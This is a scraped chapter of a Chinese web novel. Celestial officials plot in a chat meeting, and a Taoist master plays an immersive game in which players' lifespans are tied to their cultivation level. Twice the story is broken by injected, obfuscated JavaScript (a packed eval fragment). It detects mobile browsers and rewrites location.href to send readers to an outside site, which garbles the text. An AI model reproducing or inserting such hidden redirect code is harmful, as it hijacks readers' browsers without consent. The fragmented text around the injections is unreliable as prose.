[玉虚昭德统御帝君]:人到齐了吗? [瑶光圣母紫霞元君]:到齐了。 [瑶光圣母紫霞元君]:参见昭帝陛下,陛下万岁万岁万万岁。 [北斗七元解厄星君]:昭帝陛下万岁万岁万万岁。 [司命文昌帝君]:昭帝陛下万岁万岁万万岁。 [玄都丹霞老君]:昭帝陛下万岁万岁万万岁。 [瑶光圣母紫霞元君]:等一下,你们不觉得喊万岁好像是在咒我们陛下早死吗? [玉虚昭德统御帝君]:…… [玉虚昭德统御帝君]:[微笑][再见] [玉虚昭德统御帝君]将参会昵称修改为[秦昭] [秦昭]:顶一长串名字不嫌累眼睛?都给朕改了。 [瑶光圣母紫霞元君]:不行啊陛下,工作的时候要称职务[吐舌]。 [北斗七元解厄星君]:肖紫烟,说正事。 [瑶光圣母紫霞元君]:好的嘛。 [司命文昌帝君]:我有一个问题。 [司命文昌帝君]:[举手] [司命文昌帝君]:我们非得用腾信会议聊正事吗? [北斗七元解厄星君]:…… [瑶光圣母紫霞元君]:忍一忍啊babe们,敌在明我在暗,我们几个大罗金仙聚到一起,或者用灵符传讯,很容易被截获的啦。 [司命文昌帝君]:……腾信会议很安全吗? [秦昭]:不安全 [秦昭]:但他是个因循守旧的老古董。放心。 [北斗七元解厄星君]:年轻就是力量啊。。。 [玄都丹霞老君]:陛下,你确定那个人还活着? [秦昭]:嗯。 [秦昭]:三天内把他找出来。 [瑶光圣母紫霞元君]:靠,你就坐在你那个老板椅里说风凉话。 [瑶光圣母紫霞元君]:有本事自己去找啊。 [司命文昌帝君]:陛下到底为什么觉得……呃,他还活着? [秦昭]:…… [瑶光圣母紫霞元君]:哎,还不是因为 [秦昭]:我遇到殊渺了。 [司命文昌帝君]:啊?? [玄都丹霞老君]:啊??? [瑶光圣母紫霞元君]:哎。 [瑶光圣母紫霞元君]:三千六百分之一的可能哦。 [瑶光圣母紫霞元君]:功夫不负有情人 [司命文昌帝君]:是功夫不负有心人,仙子 [秦昭]:都闭嘴。 [秦昭]:殊渺的毒还没解。 [瑶光圣母紫霞元君]:蝎子肉没用吗? [秦昭]:没用。 [瑶光圣母紫霞元君]:本来就不可能有用,那傻逼是用魂魄当引子下的药。 [瑶光圣母紫霞元君]:不过你下次可以试试带他去云南吃点菌子,感觉那个比蝎子毒。 [瑶光圣母紫霞元君]:不是,比蝎子灵。 [秦昭]:你先去吃一遍,写个书面报告给我。 [瑶光圣母紫霞元君]:…… [司命文昌帝君]:所以,我们可以确定把凡人寿元和游戏修为绑定是那个人的手笔了?他也一直躲在《海烬天劫》里? [秦昭]:多半是。 [司命文昌帝君]:为什么?他如果一直在,为什么从来不露面? [秦昭]:谁知道? [秦昭]:或许他早就露面了。 [秦昭]:只是我们没认出来。 [瑶光圣母紫霞元君]:陛下有什么线索吗? [秦昭]:NPC [司命文昌帝君]:? [瑶光圣母紫霞元君]:? [秦昭]:如果我是他,我会藏在NPC里。 [秦昭]:他挨了那一剑以后一直很虚弱。 [瑶光圣母紫霞元君]:……怪不得你一直号召我们网游戏里多充钱充大钱,原来早有想法? [秦昭]:哦,那倒不是。 [秦昭]:游戏是我入股的,你们充钱我有分红。 [瑶光圣母紫霞元君]:艹。 [司命文昌帝君]:……所以为什么他会藏在NPC里?只有我一个人在认真思考吗? [秦昭]:很简单。因为他很蠢。 [瑶光圣母紫霞元君]:…… [秦昭]:如果他是玩家,早就蠢出名了。 [秦昭]:你走在大街上,看看哪个蠢货脖子上长着猪脑袋,就是他了。 [玄都丹霞老君]:陛,陛下,净口啊。 [秦昭]:福生无量天尊[微笑] [司命文昌帝君]:至少他一直以来藏得挺好的,否则我们不会找了那么久都没找到。 [司命文昌帝君]:陛下,您是有什么新线索吗?突然要我们3天之内做出结果来? [瑶光圣母紫霞元君]:那还用问啊,因为殊渺呗。 [司命文昌帝君]:[思考]我知道了,是因为殊渺进入海烬天劫的事一定会引起那个人的注意,他会想办法采取什么行动 [瑶光圣母紫霞元君]:呃,不是。 [瑶光圣母紫霞元君]:我感觉是因为不杀了纪望春,他害怕殊渺会毒发。 [秦昭]:肖紫烟。 [瑶光圣母紫霞元君]:好了,我闭嘴。我知道你脸皮薄。 [秦昭]:他不会毒发。 [玄都丹霞老君]:……陛下? 秦不赦揉着眉心往后靠了点,他动动手指,又弹出一行消息。 [秦昭]:重点关注下殊渺这几天要走的剧情。有必要可以开小号。 [瑶光圣母紫霞元君]:你自己不开? [秦昭]:不了。 [秦昭]:他已经认识我了。 [瑶光圣母紫霞元君]:哦。 [瑶光圣母紫霞元君]:其实你可以开个女号吻上去的。我确定以殊无己的粗线条程度,你性转以后他肯定认不出来。 [秦昭]:[拳头][火焰][拳头] [瑶光圣母紫霞元君]:不好意思哈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438811|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [秦昭]:@全体成员有本启奏,无本退朝。 [瑶光圣母紫霞元君]:都散了吧散了吧,没啥事儿了。 [瑶光圣母紫霞元君]:哎,昭帝陛下,你上游戏看看,殊无己站在你后面。 [秦昭]:[冷笑]你想耍我玩? 他一句话刚打完,屏幕上忽然跳出了特别关注的声效。 “秦先生。”杏袍道人站在岸上,微蹙着眉头,低头看着他问,“为何泡在水中?可是有什么不便之处?” 腾信会议里瞬间炸开了锅,肖紫烟摩拳擦掌地开始号召些什么事来,秦不赦一个字都没有看进去,只飞快地打了一行:“下了,退朝”,完全没注意到那群阴阳怪气的同事正在讨论上线围观的头等大事。 “刚外面有点事,在挂机。”他回到游戏里,也没管泡得湿淋淋的人模,轻轻一跃,一个燕子点水飞回岸上,单手抓住打湿头发一把扎起,“你不是在过主线么?怎么突然出来了?” “突然想到了一点事情,”殊无己平静地说,“想问问你,就来找你了。” 秦不赦的动作猛地顿住了,他抬起头,一双修长凌厉的眼睛竟然有一瞬间的失神。 “怎么了?”殊无己莫名其妙地看了他一眼。 秦不赦叹了口气。 “没事。”眼睛又垂了回去,他没看殊无己,而是仔细整理起了胸口的盘扣子,“你想到了什么?” 殊无己审视了他一番,才缓缓道:“我记得您曾提及,令叔参与过游戏的设计。” “是。” “那么秦先生理应认得那……‘剧本’的编撰之人?”殊无己问道,“贫道有事相询,不知秦先生可否请他前来一见?” 秦不赦皱了皱眉。 殊无己道:“可是不便?” 秦不赦最终说:“我并不识得——” 他话未说全,就意识到不妙,长长地叹了口气:“抱歉。” 殊无己似笑非笑地看着他,没有说话,一双黑眼睛却明明白白地在问:怎么不继续说谎了? “暂时不方便给你引见。”秦不赦道。 “也罢。”殊无己倒也没生气,“贫道也不喜欢强人所难。” 秦不赦张了张嘴,没接话。 “既如此,贫道告辞了。”殊无己朝他欠了欠身,轻轻一掸拂尘,便要转身离去。 就在他准备下线的前一刻,隔着护城河的对岸忽然穿来一阵叽叽喳喳的唱喏: “臣等恭送陛下、殊妃娘娘——” “陛下德配乾坤,娘娘仪隆日月,陛下万岁万岁万万岁,殊妃娘娘千岁千岁千千岁——” 两人不约而同地转过头,只见对面岸上站着一大群花里胡哨的玩家,齐刷刷地跪在地上,做着游戏里自带的[磕头要饭]的动作,黑压压一片好不震撼。再加上一个个头顶着的都是[大罗金仙]、[绝世丹士]之类的金色传奇称号,为首第一个id极为熟悉,正是两人都熟识的“贫道求大1”。 秦不赦:“……” 他深深地吸了一口气,一个眼刀甩在肖紫烟身上。 殊无己不解其意:“他们在做什么?为何下拜?所谓陛下舒妃又是什么人?” “没什么人。”秦不赦冷冷地道,“在唱戏呢。” 13. 白月光 殊无己没从秦老板那儿问到什么,只得独自回到主线剧情中。 游戏中已经入了夜,小厮给他在永济堂的二楼通铺上找了个位置,他试图拒绝——殊道长一向喜欢清净,让他跟一群光着屁股的三清弟子挤通铺,他不如到外头找棵树悬在上面睡。 然而他刚走出永济堂,眼前一黑,画面一闪,他就又被传回了"人才济济"的通铺里。 【您处于主线剧情中,无法离开剧情场景】 殊无己皱了皱眉。 他熟能生巧地打开了总是有人议论纷纷的当前频道,一目十行地扫视着玩家信息。 一如既往,这些消息非常奇怪。 【我又回来啦】 【十周目】 【天知道这个剧情我走了多少遍。殊无己,你这个磨人的小妖精】 【能不能快进,我不想再打那个吸血大蝙蝠了,我想直接快进到双人标间剧本】 【吸血大蝙蝠攻略:先用御六气拉开距离,再甩光剑,闪避闪避闪避,把他拉到柱子旁边,那有个死角卡住,然后平A控制大招不断循环慢慢磨死】 【好家伙,这里有老实人大家来笑话他】 【好家伙,这里有老实人大家来笑话他】 【好家伙,这里有老实人大家来笑话他】 【上面那个做攻略的,你忘了说一点,要这样把大蝙蝠磨死需要花八个小时。】 【不要理那个骗子,信我,被吸血大蝙蝠咬死,有摸脖子福利剧情】 【楼上我相信你】 【但是会掉修为吧,太冒险了,掉修为容易低血糖啊】 【多吃点巧克力再来打游戏】 殊无己敏锐地捕捉到了这个信息,正如秦不赦所说,修为确实与精元存在些许联系。 他没来得及多看,小二就熄掉了二楼的灯,喊:“睡觉了哈,睡觉了哈,看看都什么时辰了,再不睡觉,屁股好不了了!” 通铺上的玩家们发出异口同声的□□。 殊无己无语地摇头,熄灯也不影响他对着泛黄的不知道搁过多少人光屁股的被褥皱紧眉毛。 【您需要躺下入眠以触发接下来的剧情】 系统无情地提示。 殊无己沉思了两秒,最终吹了口气,用了一个他自己从来看不上的御风诀。 打着旋的风被他精妙地控制在床铺上方,轻轻地托起他的身体,让他能跟被褥保持距离,又不会显得异常。 他躺上去,轻柔的风拂过脸侧,将他雪白的长发微微吹起 寂静中,他忽然听到了隔壁床铺传来了一声嘟囔:“怎么好像有鬼在对俺的屁股缝子吹冷气呢。” 殊无己:“……” 他认真地考虑要不要周围的一圈人全部打晕,然而没等他做出决定,哐当一声巨响,六扇木头糊的窗棂“噗嗤嗤”地齐声折断! 当前频道再次陷入了疯狂 【哦哦哦哦哦哦哦哦】 【来了来了来了】 【我的脖子已经饥渴难耐了】 【快来一刀捅死老子】 殊无己简直莫名其妙,这时候系统夸张的战斗提示音再次响起: 【有人夜闯永济堂】 【你感受到了强烈的杀气,对方来者不善】 【您已进入战斗状态,对方是你前所未见的强大对手,修为甚至高出纪望春百倍,你只能奋力一战……】 【目标:?】 在系统播报的时候,殊无己已经借着御气决的气流,如流云一般向后滑开。 不少受伤的同门连来人的面目都没看清就已流血倒地,那人不知道是何门派,穿着一身漆黑的斗篷,从头到脚裹得严严实实,身形却有一丝熟悉。只见他漆黑如蝙蝠的衣袍上叮叮当当挂满了各种白骨制品,手里拿着一对状如满月的弯刀,看起来像是个魔道中人。 他手起刀落,锵锵两下就劈开了窗棂和门栓,接着身体如离弦之箭般冲进来,一个扭身又杀了一批弟子——他的目标似乎非常明确,直直奔向殊无己所在的位置。 殊无己眼眸微垂,丝毫没有恐惧之色,只是略带惊讶。 “你是谁?”他问,“为何冲我而来?” 对方显然没有回答的想法。 如果殊无己更了解这个游戏一点,他会发现,这是一个被设置为只能屠杀而无法交互的NPC。 NPC没有预料到有人快到能躲过他的技能,扭头一个回旋又一刀刺向殊无己的脖子。 殊无己略微了解了这个游戏完全不公平的修为机制,他没再用武器跟这个所谓的吸血大蝙蝠正面交锋,而是频繁挪动着脚步,即便没开任何技能,也轻巧地躲过了所有快得不可思议的连招。 然而,这次的战斗任务和对纪望春的那次又不同:左上角并没有胜利倒计时。 殊无己想起来,任务目标从一开始就没有写明。 他尝试捏了一个剑诀打在大蝙蝠的身上,然后看着大蝙蝠的血条几乎没有发生任何变化地往后移了一点点。 殊无己叹了口气。 他颇为挫败地想起了刚才当前频道聊天的内容,又想起了秦老板言辞恳切的嘱托,最终打开个人面板看了一眼。 他现在的修为是16000多,死一次,不至于让他丧命。 于是他闭上了眼睛。 吸血大蝙蝠毫无感情地飞到半空,高高举起了闪着蓝光的大弯刀,在一个足足有5秒钟的前摇后,一刀劈向殊无己的脖子。 【任务结束】 系统提示响起。 殊无己注意到,这次的提示并不是【任务失败】或者【任务成功】。 就在他想再次打开当前频道一问究竟的时候,他眼前突然闪过一阵柔和的白光。 他以为又要被传送回复活点,但很快他就意识到,系统也没说那句烦人的【你已经死了】。 他没死。 他看了看自己的脖子,锋利的弯刀只划破了一层皮就掉在了地上。在一阵散发着幽檀清香的风拂过面庞后,他看到面前熟悉的道袍和窗户外狼狈逃走的背影。 “可还好?” 一个熟悉得不能再熟悉的声音从头顶上传来。 殊无己抬起头,眼前站着那个救他一命、并且把吸血蝙蝠打跑的人。 此人立于清风朗月之下,换了一身雪白的鹤氅,此时两袖正迎满了风,鼓鼓囊囊地飞起,像两片招摇的蝴蝶翅膀。 殊无己想说点什么,却没有办法开口。 他好像进入了灵魂离体的状态,只能看着自己的身体跟突然出现的殊掌门四目相对。甚至连角色的面容似乎也发生了微妙的变化。 “您......”他看到自己的身体说。 他只说了一个字就闭上了嘴。殊掌门用两根冰冷的手指按住了他喉咙口鲜血淋漓的刀伤。 “禁言。”殊掌门垂下眼睛,“凝神屏息,不要抗拒我。我给你治伤。” 【不要抗拒我[口水][口水]】 【不要抗拒我[口水][口水]】 屏幕上飞快地闪过弹幕: 【哎我游自由度太高都忘了还有剧情模式......但是你这个剧情模式来的不太是时候,快放我下去亲、自、体、验——】 【我是隔壁菩提门开小号过来看热闹的,听说三清弟子跟他们掌门之间有很多不可不说的爱恨情仇,想不到竟然是这样的[痴呆]】 【天哪,我不会抗拒你的殊掌门,你就坐上来自己动动吧】 【被你们这群人的尺度震撼到了】 殊无己也觉得自己被震撼到了。他难得地试图回想自己是不是应该出现在这个地方。 高圣帝尊死后发生了什么? 他去过天庭吗? 他去过。 殊无己的表情慢慢地冷下来,不仅去过,他确实是跟当时刚入门的小徒弟一起去的。 那个徒弟是谁? 他不记得了。但眼前的剧情提醒了他,这个徒弟应该是高圣帝尊秦汩的独子,后来的天庭继承人,也就是后世的昭帝。 他跟这个徒弟缘分并不深,甚至不如纪望春——至少是他的首席大弟子,也不如孙望尘——死在那样重大的场合,让他此生难忘。如果他没有记错,他跟那位年少的昭帝,甚至没做满一年的师徒。他已完全不记得对方的长相和名字了,只大概记得有一个"昭"字。 游戏里,殊掌门的指尖在年轻的昭帝脖子上停留了一会儿,伤口便已消失于无形。 秦昭不自觉地伸手摸了摸刚才被触碰过的地方,疼痛也已消散,只留下淡淡的凉意。 “您为何来此?”他沙哑地问道。 “你该唤我师尊。”殊掌门平静地纠正,“礼数。” 秦昭没有说话,只是微微低头。他表现得不失敬重,却始终没有开口。 “你家中陡逢骤变,我知你心有不甘。”殊掌门道,“先睡。” 秦昭眨了眨黢黑的眼睛,似未反应过来。 “你父亲与我是旧友。”殊掌门说,“我今夜算到此事必不会就此了结,便决定亲自带你去一趟五岳。也算对你三叔之死有个交代。” “怎敢劳您大驾。”秦昭的语气仍是恭敬中带了几分不冷不热。殊无己总觉得他这欠收拾的态度有些熟悉。 “睡。”殊掌门再次命令,顿了顿又补充,“先趴下,衣服脱了。” 秦昭瞪着他,脸上泛起隐忍的怒意。 “给你疗伤。你这般模样,路上走得慢了,倒是拖累。”殊掌门重复道,“礼数。” 秦昭与他对视两秒,终于败下阵来,硬邦邦地在榻前跪下,解开腰带,脱掉外袍趴在床沿。 殊掌门抬起拂尘轻轻一扫,银须探进徒弟松散的里衣。秦昭脸上顿时露出不自在的表情,他吸了口气,额头渗出汗珠,但痛苦的神色已明显消退不少。 弹幕猛地刷过: 【完蛋了,就这么被殊无己狠狠捅了】 【不是吧,你们三清……不是我想的那样吧……】 【我也是看得目瞪口呆】 【你好,我是血影教的,谁能告诉我为什么我们任劳任怨做杀人任务推主线时,你们在跟掌门搞黄色】 【前面的差不多得了,明明是正常师徒情】 【对啊对啊,我们殊掌门只是面冷心热】 殊无己颇为赞赏地给这条弹幕点了个赞,结果后半句紧接着: 【大晚上跑到徒弟房里用棍子捅他,然后催他睡觉】 殊无己:“……” 【不对吧】 殊无己这次学乖了,冷眼旁观没再急着点赞。 【看殊掌门那张脸,他应该做0的呀】 殊无己:“……” 终于,剧情里的殊掌门拂袖熄灭烛火,秦昭也安分躺回床上。医馆里的人不是被杀就是逃跑,他找到了间还算干净的单间,终于睡上了柔软的床褥。 “师尊。”他不情愿地唤了声,“您睡哪儿?” 殊掌门垂眸扫他一眼,秦昭立刻意识到自己问错了——缥缈如谪仙的殊无己显然不需要睡觉。 然而答案出乎意料。 “我在此处歇息。”殊掌门道。他轻点拂尘,金光闪过,一团若隐若现的云雾停在床前。殊掌门侧坐云上,然后……他当着秦昭的面慢条斯理地解开腰带、鹤氅道袍与束发的金冠。 弹幕: 【我跟建模一样目瞪口呆了】 【这是不付费能看的吗?】 殊掌门沿着祥云靠下,银白长发如瀑布倾泻,在幽暗厢房内仍隐隐泛着流光,好似夜明珠映照下的白绸,柔软地垂落,末端甚至洒在了地上。 【看到殊无己头发上流动的光了吗?我口水就这样流】 【我口水就这样流】 【我口水就这样流】 【主创绝对是殊无己梦男,我拿项上人头担保】 【谢邀,大战血蝙蝠15分钟的剧情不如这2秒的头发精良[微笑]】 秦昭显然和弹幕里那群人一样看呆了,他完全无法理解眼前景象。 “您要在此……”他生生把“宽衣解带”四字咽了回去。 “我不喜束缚。”殊掌门声音淡淡,“睡吧。” 【你猜睡不睡得着[微笑]】 秦昭确实没有睡着,先睡着的竟然是看起来完全不需要睡觉的殊掌门。 年轻的徒弟在床上直挺挺地躺了一会儿,双目有些涣散地望着远方,他 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殊无己在这段剧情结束后离开了游戏。 他又感到饥饿了,他确信这个游戏对身体的消耗比看上去更强。 他打开居家手册,在里面找到了类似用餐的字样。这本手册详细得令人发指,甚至给他画清楚了怎么打开电子显示屏,怎么找到语音通话的界面,用箭头标明该点哪几个按钮,该拨哪个号码。 殊无己对着册子找到了一块巴掌大的电子砖头,按照要求打开了屏幕,点击一个绿色的App,输入一串符号,再把跳出来的用户加为好友。 这个用户的头像是纯黑的背景加上一只夜光蝴蝶,名字就一个昭字。 殊无己终于产生了一点怀疑,但他确实不知道在这个光怪陆离的世界上还能去什么地方化缘——上次他跳到一辆移动的黑色房子上,差点酿成一桩惨剧。 按下通话后,对面很快就传来了秦老板的声音。 “喂?”秦不赦冷冷清清的声音从听筒那边传来,他听起来精神不太好的样子。 “秦先生?”殊无己讶然,“……大约是有什么误会。” “嗯,饿了?”秦不赦干脆利落地问,“想吃什么?想吃面疙瘩还是炒饭?” “不劳烦您。”殊无己拒绝,“此处想必另有化缘之处。” “没有,别想了。”秦不赦冷酷地否定了他的猜测,“这事就是我该做的,别推了——或者说你想不想出来走走?” 殊无己怔了怔。 “怎么了?” “倒未曾想过。”殊无己道,“来到此间之后,快忘却天地之宽广了。” “……”对面沉默了片刻。 “秦先生?”殊无己轻声问。 “开门。” 不用他说,殊无己也察觉到门口突然出现的动静。 他起身,披了道袍打开门,果然看到秦不赦换了一身漆黑苗银边的短褂,外面套着夹克,下头搭着牛仔裤,一身新旧混搭的流派看起来倒是意外的和谐潮流,看起来充满了年轻劲儿。 “带你出去转转。”秦不赦道,全然没顾及他的反应,“本来想下厨给你做点什么吃,但想到你还没有出过门——你不是最讨厌被困着吗?” 殊无己很想问他怎么知道的,但又很快想起了刚才过过的剧情。 “你……”他有很多问题想问,却一时不知道从何问起,干脆就全不问了。 无己真人对这些所谓的尘缘往事、红尘是非,向来是没有那么在意的。 ------------------------------------- 秦老板没有带殊无己去什么高端场所,只是到了楼下的摊子,给他叫了一碗馄饨。 殊无己端着馄饨也没有急着吃,只是安静地看着来来往往的路人,在他眼里这些穿着POLO衫,或者连衣裙,甚至吊带裤的,都是奇装异服、礼崩乐坏的后生,倒是眼前的秦老板,还算是保留三分古典的韵味。 他淡淡一笑:“秦先生真是礼数周全之人,对我这样的流民也是关怀备至。” 秦不赦嗤笑了一声。 “你看起来特别活不长。”他诚恳地看着殊无己,说,“如果我不请你吃饭,我怕你真的饿死在家里。” 殊无己也没生气,只是静静地看着秦不赦。 这下轮到秦不赦移开视线了。 “你认识一个叫秦昭的人吗?”殊无己突然问。 “……怎么了?”秦不赦的手指动了动,“你认识他?” 殊无己摇头:“是他做的这个游戏,是吗?” “不完全是。”秦不赦并没有隐瞒。 “他恐是会些法术。”殊无己道,“如果是他做了这个游戏,暗害旁人的寿数,我恐怕要清理门户了。” “……”秦不赦无奈地摇了摇头,“并非如此。” “你知道什么?” “此事的始作俑者另有旁人。”秦老板道,“只是此人行踪诡异,我们尚未查到他的真实身份——但不是秦昭做的。” 殊无己蹙了蹙眉。 “馄饨要凉了。”秦不赦打断了他即将出口的疑问,转移了话题,“这家店跟我们有合作,没有时间布施的时候你可以来这里化缘,想吃什么直接跟老板说。” 殊无己礼貌地欠了欠身:“多谢。” “不用谢!都是道友!”老板豪爽的声音从摊子后面传来,还挤眉弄眼地朝殊无己笑了笑,“是不是啊?掌门人?” 风把门帘吹起来,殊无己注意到此人身上穿着一身画满三清掌门大头贴的痛衣。 殊无己:“呃……” “收留所的福利很多,不只是这个。”秦不赦的嘴角压了压,仿佛对他们的反应很满意,“过几天会组织团建,如果你有兴趣,可以一起来。” “那是何物?” “简单来讲就是一个部门一起去修行。”秦不赦低下头,轻轻把玩着自己的袖扣,“不是在游戏里,而是在现实中。今年我们准备安排去三清观。” 殊无己哑然,但谁也没法忽视,那双一直平静如水的黑眼睛,像夜空中升起的孔明灯一样,悠悠地亮了起来。 14. 霸道 他们吃完了饺子,慢悠悠地往回走。 秦不赦依旧走在前面,殊无己在后面跟着,安静地打量着周围零零散散的商铺,骑着那种古怪的两个轮子的车子来来往往的人,还有飞动的黑白色的房子。 秦不赦每走几步就会放慢脚步,用积水或金属的反光看看背后的人有没有跟上来,好像殊无己随时可能就这么消失似的。 在殊道长沉迷游戏的这两天里,崃山市下了几天大雨。这本是夏去秋来的季节,一场雨凉过一场,积水在坑坑洼洼的路面上像一颗颗碎掉的银钱。 一辆大巴车忽然加速贴着人行道驶过,倏地溅起一大片积水,秦不赦转过头,正好看到殊无己如临大敌地举起拂尘招架。 他只觉得好笑,扭头在路边买了一把长柄伞,递给殊无己:“下次用这个,没那么引人注目。” 殊无己感激地接了过来,忍不住问:“这些房子为何会突然冲撞人群?可是被人施了妖法?” “他们在追逐竞驶。”秦不赦说,“没注意看后视镜。” “实在荒唐。”殊无己皱了皱眉,“此邦之民未娴礼教。” 秦不赦刚想接话,叮铃一响,一个电话打了进来。 他拿起手机放在耳边,懒洋洋地“喂”了一声。 那边是黑墨镜的声音——倒不是殊无己故意偷听,实在是此人嗓音洪亮。 “找不到人啊,老板。”黑墨镜大声道,背后还传来了电闪雷鸣、刀砍斧劈的音效。 “继续找。”秦不赦冷冷地说,“找不到不准回来。” 黑墨镜“哎呀”一声:“纪望春的小子不应该有这本事,你说是不是背后有高人指点......” “你说呢?”秦不赦反问。 黑墨镜沉默了一下:“不会是那个谁吧?那个人不好对付呀,是不是要跟殊.....” “不。”秦不赦飞快地打断了他,“不要闹大动静。我能处理。” 黑墨镜似乎是咕哝了几声:“但不论怎么说他都......” “好了,下次再说。”秦不赦的语气听起来很没耐心,“过几天把第一章的所有NPC都清理一下,也别惊动了他。” “诶?这怎么......” 黑墨镜的疑问还没有说完,秦不赦就已经挂掉了电话。 他一收起手机就对上了殊无己澄澈的双眸,略有些不自然地移开了视线。 殊道长倒是没问什么,继续老老实实地跟在他身后回到了街道办事处的老旧大楼。 秦不赦一边拉开铁栅栏的门,一边说:“你先回吧,团建的事情,你有兴趣过几天可以联系……” 他还没转过身,就察觉到一道疾风从背后袭来。 秦不赦立刻侧身躲开,朝他攻来的正是刚才亲手送出去的那把长柄伞。 殊无己面色一如寻常的耐人寻味,手上攻势不断,虽然拿的是长伞,伞尖点出的却是一套无己道长成名已久的剑法——明光十三问。 明光十三问从道家经典的两仪剑法中脱胎而来,不像两仪剑法那般浑然天成、以守为攻,招式反倒像一条伺机而动的银蛇,盘旋扭动的剑光如蛇神舞动,破绽漏现之时,蛇信长吐,突袭而上。 秦不赦立刻侧身避开,紧接着那伞尖端朝着他的侧脸划来,直指他的膻中穴。他一个后仰,背贴在了铁栅栏上,殊无己反手换了一式抽他前胸,硬是要逼他出招招架。 秦不赦当然知道殊无己这么做的目的,他只迟疑了一瞬,就抬起手臂,硬生生吃下了这一杖,手掌向前,顺势紧紧地抓住了殊无己握伞的手腕。 殊无己看着他,缓缓地松开了手,长伞“哐”一声落在地上,他睫毛微垂,脸上略有愧色:“抱歉,多有得罪了。” 秦不赦盯着他看了会儿,才慢吞吞地放开了他,那只纤细修长的手腕上,被他抓出了五道刺眼的红痕。 “没事。”他说,视线垂着,声音懒洋洋的没有精神,“染上网瘾是很容易这样,走在路上就想放技能。” 殊无己:“......” 他突施奇招,本该出其不意,却最终没能试出这位秦老板的家学渊源。秦不赦宁可被他抽上一下也没用任何法术,更看不出他是否是仙门中人。 刚才黑墨镜在电话里确实提到了纪望春的名字,殊无己自然不会傻到觉得这只是个巧合,故而有此一试,结果却未如他所愿。 他轻叹一声,连秦不赦跟在身后上了楼都没有注意到,直到秦老板像未成年监护人一样把他送到了家门口。 “有劳相送。”殊无己礼貌地点了点头,双手捧着伞要还。 “不必了。”秦不赦嫌弃地挑眉,“十块钱一把,我不用这么便宜的。” 殊无己蹙眉给了他一个不赞同的眼神。 “那……”秦不赦舔了舔有点干涩的嘴唇,“我就先走了。有什么事再联系。” “等一下。”殊无己点点头。 他拔步欲走,忽然,背后的妖道又叫住了他。 殊无己道:“伸手。” 秦不赦一愣,下意识地照做了。 殊道长伸出二指,漫不经心地轻轻在他手臂上划过,好像只是不小心碰到了一般。 一阵熟悉到有些奇妙的暖流从他的四肢百骸划过,他只觉自己好像被一下子拉到了很遥远的地方。 他的手臂不痛了。 ------------------------------------- 这次殊无己没有再急着重回游戏里,而是盘腿坐在床上,闭上眼睛,凝神调息了一会儿。 他花了点时间做心理准备,才深吸一口气,进入游戏,回到三千年前去扮演自己曾经的徒弟。 他一醒来就看到了殊掌门,在客栈里,白衣道人举着拂尘命令他去弄点吃的。 “尊驾应自去伙房。”殊无己认真地说,“我未曾修行过庖厨之道。” 殊掌门只是合着双眼,就像没听到一般。 殊无己无语地站起来,只听系统叮一声播报: 【请完成任务:给师傅做一碗阳春面】 接着他发现无论自己怎么用力,这双脚都只能走向伙房的方向。 伙房里,火工道人正在那里叮叮咚咚地敲打着什么,看到他来,就憨厚地笑了笑:“来了啊,先帮我把火生一下。”说着指了指地上的木头。 殊无己抱着手臂站在那儿,完全没有动弹的意思。他平素弹指即可生火、调水、引雷霆、降甘露,岂有在这里砍柴生火之理。 火工道人耐心地等了他10秒钟的时间,见他无动于衷,突然提着锅铲就冲了上来。 【NPC已进入愤怒红名模式】 火工道人:“啊啊啊,好小子,刚加入三清门就摆谱,看我教训你!” 殊无己举起拂尘想招架,却架了个空。 【目前不是战斗状态,您无法使用技能】 他心道不好,果然,下一秒火工道人一锅铲抽在了他头上,把他抽飞出去。 【您已经死了】 【恭喜您触发成就:做菜杀自己】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438813|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殊道长面上一阵青一阵白,甫一复活就冲着火工道人冷声道:“你怎如此不知礼数?岂有袭击不抗之人之理?” 火工道人一边挥着蒲扇,一边提着锅铲,摇头晃脑,嘴上只会来来回回喊一句:“帮我把火生一下”,接着又进入愤怒倒计时模式。 殊无己叹了口气,无可奈何地伸手去拿一边的斧子。不料他太久没有试过此等粗笨之物,又用不了术法,竟然不知寻常斧头能有多重,一时半会没拿起斧头,反倒被带着险些摔倒。 路过的三清同门刚巧看到,直呼:“哎,又遇到一个玩人妖号的小妹妹,连个斧头都拿不起。” 殊无己:“不,我……” “没事儿,大哥带你啊。”热心的同门干脆走进伙房,当着殊无己的面,轻松地提起斧头,甚至颠了颠斧头把子,接着抡圆了胳膊,超经意地露出肱二头肌,在一个特别冗长的前摇后,才劈开了眼前的木头。 殊无己:“……” “怎么样?叫声哥哥帮你把面一起做了?”大哥爽朗地笑了起来,“你这种十指不沾阳春水的千金大小姐是不是不会煮面啊?” “不会。”殊无己放弃了解释,干脆直接坦白。 他声音清清冷冷,大哥似乎脑补了什么,越发来了劲儿,给他刷刷地起锅、烧油、煎葱头,最后把面煮了。 【恭喜您获得任务道具:阳春面】 【恭喜[殊渺]触发成就:手无缚鸡之力】 【恭喜[殊渺]触发成就:万事靠人带】 连着三道提示音全服播报,殊无己百口莫辩。 殊无己:“我不……” 即便是被诬陷祸乱三界六道的时候,他都没这么无语过。 …… 回到厢房后,他再次进入了剧情。 比画面先亮起来的是弹幕: 【约会时间到!】 【约会时间到!】 【约会时间到!】 “师尊,你要的面。”秦昭端着面站在小桌前。 